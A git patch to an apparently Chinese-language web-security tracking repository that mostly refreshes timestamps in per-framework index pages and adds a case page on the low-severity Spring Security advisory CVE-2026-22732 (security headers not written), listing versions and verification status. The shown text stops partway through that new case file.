From e13c138232f1f6ad2beb2189624749cda2ef1878 Mon Sep 17 00:00:00 2001 From: hao Date: Sat, 21 Mar 2026 06:37:00 -0700 Subject: [PATCH] =?UTF-8?q?=E7=9B=91=E6=8E=A7=E6=9B=B4=E6=96=B0:=202026-03?= =?UTF-8?q?-21=2002:17:05?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 07-framework-security/cms/directus/INDEX.md | 2 +- 07-framework-security/cms/discourse/INDEX.md | 2 +- 07-framework-security/cms/drupal/INDEX.md | 2 +- 07-framework-security/cms/ghost/INDEX.md | 2 +- 07-framework-security/cms/joomla/INDEX.md | 2 +- 07-framework-security/cms/mediawiki/INDEX.md | 2 +- 07-framework-security/cms/moodle/INDEX.md | 2 +- 07-framework-security/cms/strapi/INDEX.md | 2 +- 07-framework-security/cms/wordpress/INDEX.md | 2 +- .../ecommerce/adobe-commerce/INDEX.md | 2 +- .../ecommerce/magento-open-source/INDEX.md | 2 +- .../ecommerce/medusa/INDEX.md | 2 +- .../ecommerce/opencart/INDEX.md | 2 +- .../ecommerce/openmage/INDEX.md | 2 +- .../ecommerce/prestashop/INDEX.md | 2 +- .../ecommerce/saleor/INDEX.md | 2 +- .../ecommerce/shopware/INDEX.md | 2 +- .../ecommerce/woocommerce/INDEX.md | 2 +- .../frameworks/angular/INDEX.md | 2 +- .../frameworks/aspnet-core/INDEX.md | 2 +- .../frameworks/astro/INDEX.md | 2 +- .../frameworks/django/INDEX.md | 2 +- .../frameworks/echo/INDEX.md | 2 +- .../frameworks/esbuild/INDEX.md | 2 +- .../frameworks/express/INDEX.md | 2 +- .../frameworks/fastify/INDEX.md | 2 +- .../frameworks/flask/INDEX.md | 2 +- 07-framework-security/frameworks/gin/INDEX.md | 2 +- .../frameworks/hapi/INDEX.md | 2 +- 07-framework-security/frameworks/koa/INDEX.md | 2 +- .../frameworks/laravel/INDEX.md | 2 +- .../frameworks/nestjs/INDEX.md | 2 +- .../frameworks/nextjs/INDEX.md | 2 +- .../frameworks/nodejs/INDEX.md | 2 +- .../frameworks/nuxt/INDEX.md | 2 +- .../frameworks/rails/INDEX.md | 2 +- .../frameworks/react/INDEX.md | 2 +- .../frameworks/spring-boot/INDEX.md | 2 +- .../frameworks/spring-framework/INDEX.md | 2 +- .../frameworks/spring-security/INDEX.md | 11 +- .../cases/spring-security-cve-2026-22732.md | 173 + .../frameworks/sveltekit/INDEX.md | 2 +- .../frameworks/symfony/INDEX.md | 2 +- .../frameworks/undici/INDEX.md | 2 +- .../frameworks/vite/INDEX.md | 2 +- 07-framework-security/frameworks/vue/INDEX.md | 2 +- .../frameworks/webpack/INDEX.md | 2 +- .../frameworks/werkzeug/INDEX.md | 2 +- .../platforms/adminer/INDEX.md | 2 +- .../platforms/gitea/INDEX.md | 2 +- .../platforms/gitlab-ce/INDEX.md | 2 +- .../platforms/grafana/INDEX.md | 2 +- .../platforms/jenkins/INDEX.md | 2 +- .../platforms/kibana/INDEX.md | 2 +- .../platforms/mattermost/INDEX.md | 2 +- .../platforms/phpmyadmin/INDEX.md | 2 +- .../platforms/redmine/INDEX.md | 2 +- .../servers/apache-httpd/INDEX.md | 2 +- .../servers/apache-tomcat/INDEX.md | 2 +- 07-framework-security/servers/caddy/INDEX.md | 2 +- .../servers/haproxy/INDEX.md | 2 +- 07-framework-security/servers/nginx/INDEX.md | 2 +- .../servers/traefik/INDEX.md | 10 +- 08-threat-intel/generated/alerts.json | 825 +- 08-threat-intel/generated/coverage-matrix.md | 4 +- .../generated/dashboard/advisories.json | 574 ++ .../generated/dashboard/architecture.json | 14 +- .../generated/dashboard/data/alerts.json | 825 +- .../dashboard/data/completeness.json | 115 +- .../dashboard/data/entity-completeness.json | 67 +- .../dashboard/data/entity-queues.json | 18 +- .../dashboard/data/monitor-summary.json | 27 +- .../dashboard/data/source-catalog-audit.json | 2 +- .../dashboard/data/source-health.json | 1829 +++-- .../dashboard/docs/architecture-library.html | 14 +- .../dashboard/docs/coverage-matrix.html | 4 +- .../dashboard/docs/entity-catalog-report.html | 16 +- .../docs/entity-discovery-backlog.html | 2 +- .../dashboard/docs/source-catalog-audit.html | 2 +- .../docs/testing-completeness-report.html | 24 +- .../generated/dashboard/entities.json | 108 +- .../generated/dashboard/summary.json | 275 +- .../generated/dashboard/systems.json | 184 +- .../generated/entity-catalog-report.md | 16 +- .../generated/entity-completeness.json | 67 +- .../generated/entity-discovery-backlog.md | 2 +- 08-threat-intel/generated/entity-queues.json | 18 +- 08-threat-intel/generated/latest-ingest.md | 17 +- .../generated/monitor-summary.json | 27 +- 08-threat-intel/generated/run-summary.json | 46 +- .../generated/source-catalog-audit.json | 2 +- .../generated/source-catalog-audit.md | 2 +- 08-threat-intel/generated/source-health.json | 1829 +++-- .../spring-security--CVE-2026-22732.json | 437 ++ .../advisories/traefik--CVE-2026-32305.json | 192 + .../advisories/traefik--CVE-2026-32595.json | 189 + ...ramework-security-spring-security-web.json | 31 + .../registry/entities/spring-security.json | 19 +- ...ension--github-com-traefik-traefik-v3.json | 31 + ...--repo--github-com-traefik-traefik-v3.json | 13 +- .../registry/entities/traefik.json | 14 +- .../monitoring/2026-03-21T12-51-08+00-00.json | 6805 +++++++++++++++++ .../registry/systems/spring-security.json | 35 +- 08-threat-intel/registry/systems/traefik.json | 35 +- docs/testing-completeness-report.md | 24 +- 105 files changed, 12131 insertions(+), 2963 deletions(-) create mode 100644 07-framework-security/frameworks/spring-security/cases/spring-security-cve-2026-22732.md create mode 100644 08-threat-intel/registry/advisories/spring-security--CVE-2026-22732.json create mode 100644 08-threat-intel/registry/advisories/traefik--CVE-2026-32305.json create mode 100644 08-threat-intel/registry/advisories/traefik--CVE-2026-32595.json create mode 100644 08-threat-intel/registry/entities/spring-security--project--org-springframework-security-spring-security-web.json create mode 100644 08-threat-intel/registry/entities/traefik--extension--github-com-traefik-traefik-v3.json create mode 100644 08-threat-intel/registry/monitoring/2026-03-21T12-51-08+00-00.json diff --git a/07-framework-security/cms/directus/INDEX.md b/07-framework-security/cms/directus/INDEX.md index 3e641822..38dfc522 100644 --- a/07-framework-security/cms/directus/INDEX.md +++ b/07-framework-security/cms/directus/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `29` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/cms/discourse/INDEX.md b/07-framework-security/cms/discourse/INDEX.md index 56a8031e..d3cb41bc 100644 --- a/07-framework-security/cms/discourse/INDEX.md +++ b/07-framework-security/cms/discourse/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `30` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/cms/drupal/INDEX.md b/07-framework-security/cms/drupal/INDEX.md index ba42b394..12ed942d 100644 --- a/07-framework-security/cms/drupal/INDEX.md +++ b/07-framework-security/cms/drupal/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `70` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/cms/ghost/INDEX.md b/07-framework-security/cms/ghost/INDEX.md index 934f2738..e3b8164c 100644 --- a/07-framework-security/cms/ghost/INDEX.md +++ b/07-framework-security/cms/ghost/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `23` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/cms/joomla/INDEX.md b/07-framework-security/cms/joomla/INDEX.md index f514352b..e4e4b818 100644 --- a/07-framework-security/cms/joomla/INDEX.md +++ b/07-framework-security/cms/joomla/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `100` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/cms/mediawiki/INDEX.md b/07-framework-security/cms/mediawiki/INDEX.md index 8895c83e..9be80b67 100644 --- a/07-framework-security/cms/mediawiki/INDEX.md +++ b/07-framework-security/cms/mediawiki/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `70` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/cms/moodle/INDEX.md b/07-framework-security/cms/moodle/INDEX.md index 4b384d34..b4bfe910 100644 --- a/07-framework-security/cms/moodle/INDEX.md +++ b/07-framework-security/cms/moodle/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `40` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/cms/strapi/INDEX.md b/07-framework-security/cms/strapi/INDEX.md index 016e9793..70d2c266 100644 --- a/07-framework-security/cms/strapi/INDEX.md +++ b/07-framework-security/cms/strapi/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `26` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/cms/wordpress/INDEX.md b/07-framework-security/cms/wordpress/INDEX.md index b71dbbe4..a42a30fc 100644 --- a/07-framework-security/cms/wordpress/INDEX.md +++ b/07-framework-security/cms/wordpress/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `140` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/adobe-commerce/INDEX.md b/07-framework-security/ecommerce/adobe-commerce/INDEX.md index f9282698..ab6a1e68 100644 --- a/07-framework-security/ecommerce/adobe-commerce/INDEX.md +++ b/07-framework-security/ecommerce/adobe-commerce/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `81` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/magento-open-source/INDEX.md b/07-framework-security/ecommerce/magento-open-source/INDEX.md index c22cb6b8..132d39d4 100644 --- a/07-framework-security/ecommerce/magento-open-source/INDEX.md +++ b/07-framework-security/ecommerce/magento-open-source/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `89` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/medusa/INDEX.md b/07-framework-security/ecommerce/medusa/INDEX.md index 10d245af..ddbbedef 100644 --- a/07-framework-security/ecommerce/medusa/INDEX.md +++ b/07-framework-security/ecommerce/medusa/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `15` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/opencart/INDEX.md b/07-framework-security/ecommerce/opencart/INDEX.md index 9cba1bde..f850aede 100644 --- a/07-framework-security/ecommerce/opencart/INDEX.md +++ b/07-framework-security/ecommerce/opencart/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `100` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/openmage/INDEX.md b/07-framework-security/ecommerce/openmage/INDEX.md index fa647d68..df565185 100644 --- a/07-framework-security/ecommerce/openmage/INDEX.md +++ b/07-framework-security/ecommerce/openmage/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `27` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/prestashop/INDEX.md b/07-framework-security/ecommerce/prestashop/INDEX.md index dd99c6be..61ff6d61 100644 --- a/07-framework-security/ecommerce/prestashop/INDEX.md +++ b/07-framework-security/ecommerce/prestashop/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `112` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/saleor/INDEX.md b/07-framework-security/ecommerce/saleor/INDEX.md index 363c29d6..4d7370e2 100644 --- a/07-framework-security/ecommerce/saleor/INDEX.md +++ b/07-framework-security/ecommerce/saleor/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `24` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/shopware/INDEX.md b/07-framework-security/ecommerce/shopware/INDEX.md index fd4675fc..bdd8fee5 100644 --- a/07-framework-security/ecommerce/shopware/INDEX.md +++ b/07-framework-security/ecommerce/shopware/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `71` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/woocommerce/INDEX.md b/07-framework-security/ecommerce/woocommerce/INDEX.md index b7211fdd..e2f934fd 100644 --- a/07-framework-security/ecommerce/woocommerce/INDEX.md +++ b/07-framework-security/ecommerce/woocommerce/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `111` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/angular/INDEX.md b/07-framework-security/frameworks/angular/INDEX.md index 1dfb3079..8a004ac4 100644 --- a/07-framework-security/frameworks/angular/INDEX.md +++ b/07-framework-security/frameworks/angular/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/aspnet-core/INDEX.md b/07-framework-security/frameworks/aspnet-core/INDEX.md index 0977b3b8..ac8eb5a6 100644 --- a/07-framework-security/frameworks/aspnet-core/INDEX.md +++ b/07-framework-security/frameworks/aspnet-core/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `3` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/astro/INDEX.md b/07-framework-security/frameworks/astro/INDEX.md index d45eb077..59f8a65e 100644 --- a/07-framework-security/frameworks/astro/INDEX.md +++ b/07-framework-security/frameworks/astro/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `14` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/django/INDEX.md b/07-framework-security/frameworks/django/INDEX.md index 107f400c..8fc452b4 100644 --- a/07-framework-security/frameworks/django/INDEX.md +++ b/07-framework-security/frameworks/django/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `82` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/echo/INDEX.md b/07-framework-security/frameworks/echo/INDEX.md index 81de2ce0..c0cbbfb5 100644 --- a/07-framework-security/frameworks/echo/INDEX.md +++ b/07-framework-security/frameworks/echo/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/esbuild/INDEX.md b/07-framework-security/frameworks/esbuild/INDEX.md index edcdd992..be6a4c9f 100644 --- a/07-framework-security/frameworks/esbuild/INDEX.md +++ b/07-framework-security/frameworks/esbuild/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/express/INDEX.md b/07-framework-security/frameworks/express/INDEX.md index e791fa9f..af350bf2 100644 --- a/07-framework-security/frameworks/express/INDEX.md +++ b/07-framework-security/frameworks/express/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/fastify/INDEX.md b/07-framework-security/frameworks/fastify/INDEX.md index c42f1c21..b9b54b11 100644 --- a/07-framework-security/frameworks/fastify/INDEX.md +++ b/07-framework-security/frameworks/fastify/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/flask/INDEX.md b/07-framework-security/frameworks/flask/INDEX.md index 12e41c68..bf577e17 100644 --- a/07-framework-security/frameworks/flask/INDEX.md +++ b/07-framework-security/frameworks/flask/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/gin/INDEX.md b/07-framework-security/frameworks/gin/INDEX.md index 931bc603..a93188b2 100644 --- a/07-framework-security/frameworks/gin/INDEX.md +++ b/07-framework-security/frameworks/gin/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/hapi/INDEX.md b/07-framework-security/frameworks/hapi/INDEX.md index 26348118..7dad99fd 100644 --- a/07-framework-security/frameworks/hapi/INDEX.md +++ b/07-framework-security/frameworks/hapi/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/koa/INDEX.md b/07-framework-security/frameworks/koa/INDEX.md index 73d6b4f7..027bede1 100644 --- a/07-framework-security/frameworks/koa/INDEX.md +++ b/07-framework-security/frameworks/koa/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/laravel/INDEX.md b/07-framework-security/frameworks/laravel/INDEX.md index 93df1bb0..2b0f245f 100644 --- a/07-framework-security/frameworks/laravel/INDEX.md +++ b/07-framework-security/frameworks/laravel/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nestjs/INDEX.md b/07-framework-security/frameworks/nestjs/INDEX.md index 88924dab..f5dff7c7 100644 --- a/07-framework-security/frameworks/nestjs/INDEX.md +++ b/07-framework-security/frameworks/nestjs/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nextjs/INDEX.md b/07-framework-security/frameworks/nextjs/INDEX.md index 83e16765..21421d98 100644 --- a/07-framework-security/frameworks/nextjs/INDEX.md +++ b/07-framework-security/frameworks/nextjs/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `40` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nodejs/INDEX.md b/07-framework-security/frameworks/nodejs/INDEX.md index 492632a8..643410bb 100644 --- a/07-framework-security/frameworks/nodejs/INDEX.md +++ b/07-framework-security/frameworks/nodejs/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `8` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nuxt/INDEX.md b/07-framework-security/frameworks/nuxt/INDEX.md index c949504b..a7cab868 100644 --- a/07-framework-security/frameworks/nuxt/INDEX.md +++ b/07-framework-security/frameworks/nuxt/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `28` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/rails/INDEX.md b/07-framework-security/frameworks/rails/INDEX.md index 5e4bf07d..850ec0a2 100644 --- a/07-framework-security/frameworks/rails/INDEX.md +++ b/07-framework-security/frameworks/rails/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `42` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/react/INDEX.md b/07-framework-security/frameworks/react/INDEX.md index efd83a83..44534e55 100644 --- a/07-framework-security/frameworks/react/INDEX.md +++ b/07-framework-security/frameworks/react/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `21` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/spring-boot/INDEX.md b/07-framework-security/frameworks/spring-boot/INDEX.md index 93147f43..53056422 100644 --- a/07-framework-security/frameworks/spring-boot/INDEX.md +++ b/07-framework-security/frameworks/spring-boot/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/spring-framework/INDEX.md b/07-framework-security/frameworks/spring-framework/INDEX.md index 80c68755..36aa5f14 100644 --- a/07-framework-security/frameworks/spring-framework/INDEX.md +++ b/07-framework-security/frameworks/spring-framework/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `11` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/spring-security/INDEX.md b/07-framework-security/frameworks/spring-security/INDEX.md index 4b000d84..e1a59d50 100644 --- a/07-framework-security/frameworks/spring-security/INDEX.md +++ b/07-framework-security/frameworks/spring-security/INDEX.md @@ -5,14 +5,14 @@ - 系统 ID: `spring-security` - 分类: `frameworks` - 覆盖策略: `rolling-24m` -- 总案例数: `3` -- 近 30 天新增/更新: `0` -- 重点 Markdown 案例数: `0` +- 总案例数: `4` +- 近 30 天新增/更新: `1` +- 重点 Markdown 案例数: `1` - 已实证(真实版本): `0` - 已实证(synthetic): `0` - 阻塞数: `0` -- 待人工/缺浏览器证据: `3` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 待人工/缺浏览器证据: `4` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 @@ -32,6 +32,7 @@ | 标题 | 严重度 | 案例状态 | 实证状态 | 实证方式 | 来源置信度 | 更新时间 | 案例页 | |------|--------|----------|----------|----------|------------|----------|--------| +| Spring Security HTTP Headers Are not Written Under Some Conditions | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-20T20:46:26.164998Z` | [link](/Users/x/websafe/07-framework-security/frameworks/spring-security/cases/spring-security-cve-2026-22732.md) | | Spring Security Advisories | `unknown` | `triage` | `triage-manual` | `synthetic` | `official` | `` | - | | CVE-2025-41248: Spring Security authorization bypass for method security annotations on parameterized types | `unknown` | `triage` | `triage-manual` | `synthetic` | `official` | `` | - | | Spring Security | `unknown` | `triage` | `triage-manual` | `synthetic` | `official` | `` | - | diff --git a/07-framework-security/frameworks/spring-security/cases/spring-security-cve-2026-22732.md b/07-framework-security/frameworks/spring-security/cases/spring-security-cve-2026-22732.md new file mode 100644 index 00000000..f38db711 --- /dev/null +++ b/07-framework-security/frameworks/spring-security/cases/spring-security-cve-2026-22732.md @@ -0,0 +1,173 @@ +--- +title: "Spring Security HTTP Headers Are not Written Under Some Conditions" +system_id: "spring-security" +category: "frameworks" +advisory_mode: "core" +published_date: "2026-03-20T00:31:28Z" +updated_date: "2026-03-20T20:46:26.164998Z" +severity: "low" +exploit_status: "unknown" +source_confidence: "ecosystem-authority" +verification_status: "triage-manual" +verification_mode: "synthetic" +artifact_mode: "synthetic" +last_run_id: "" +target_types: + - "lab-local" + - "lab-public" + - "authorized-third-party" +allow_public_validation: "yes, with ownership or explicit authorization" +authorization_prerequisite: "asset ownership proof or explicit written authorization" +minimal_validation: "read-only probe, controlled payload, reversible test" +aliases: + - "CVE-2026-22732" + - "GHSA-mf92-479x-3373" +affected_versions: + - "3.0.0.RELEASE" + - "3.0.1.RELEASE" + - "3.0.2.RELEASE" + - "3.0.3.RELEASE" + - "3.0.4.RELEASE" + - "3.0.5.RELEASE" + - "3.0.6.RELEASE" + - "3.0.7.RELEASE" + - "3.0.8.RELEASE" + - "3.1.0.RELEASE" + - "3.1.1.RELEASE" + - "3.1.2.RELEASE" + - "3.1.3.RELEASE" + - "3.1.4.RELEASE" + - "3.1.5.RELEASE" + - "3.1.6.RELEASE" + - "3.1.7.RELEASE" + - "3.2.0.RELEASE" + - "3.2.1.RELEASE" + - "3.2.10.RELEASE" +fixed_versions: + - "6.5.9" + - "7.0.4" +entity_refs: + - "spring-security:system:root-system" + - "spring-security--project--org-springframework-security-spring-security-web:project:affected-component" +secure_code_topics: + - "authz-server-side-recheck" + - "token-cookie-storage" + - "proxy-trust-boundary" +primary_source: "https://nvd.nist.gov/vuln/detail/CVE-2026-22732" +--- + +# Spring Security HTTP Headers Are not Written Under Some Conditions + +## 本地实证状态 + +- 实证状态: `triage-manual` +- 实证方式: `synthetic` +- Artifact 模式: `synthetic` +- 最近运行: `-` +- 浏览器证据: `missing` +- Run Bundle: `-` + +## 事件层 + +- Canonical ID: `spring-security--CVE-2026-22732` +- 系统: `spring-security` +- 严重度: `low` +- 来源置信度: `ecosystem-authority` +- 官方主源: https://nvd.nist.gov/vuln/detail/CVE-2026-22732 +- 影响版本: `3.0.0.RELEASE, 3.0.1.RELEASE, 3.0.2.RELEASE, 3.0.3.RELEASE, 3.0.4.RELEASE, 3.0.5.RELEASE, 3.0.6.RELEASE, 3.0.7.RELEASE, 3.0.8.RELEASE, 3.1.0.RELEASE` +- 修复版本: `6.5.9, 7.0.4` + +## 对象与版本映射 + +- Advisory Scope: `package` +- 影响对象: `org.springframework.security:spring-security-web` +- Entity Refs: `spring-security, spring-security--project--org-springframework-security-spring-security-web` +- 版本置信度: `high` +- 版本缺口: `-` +- 版本证据源: 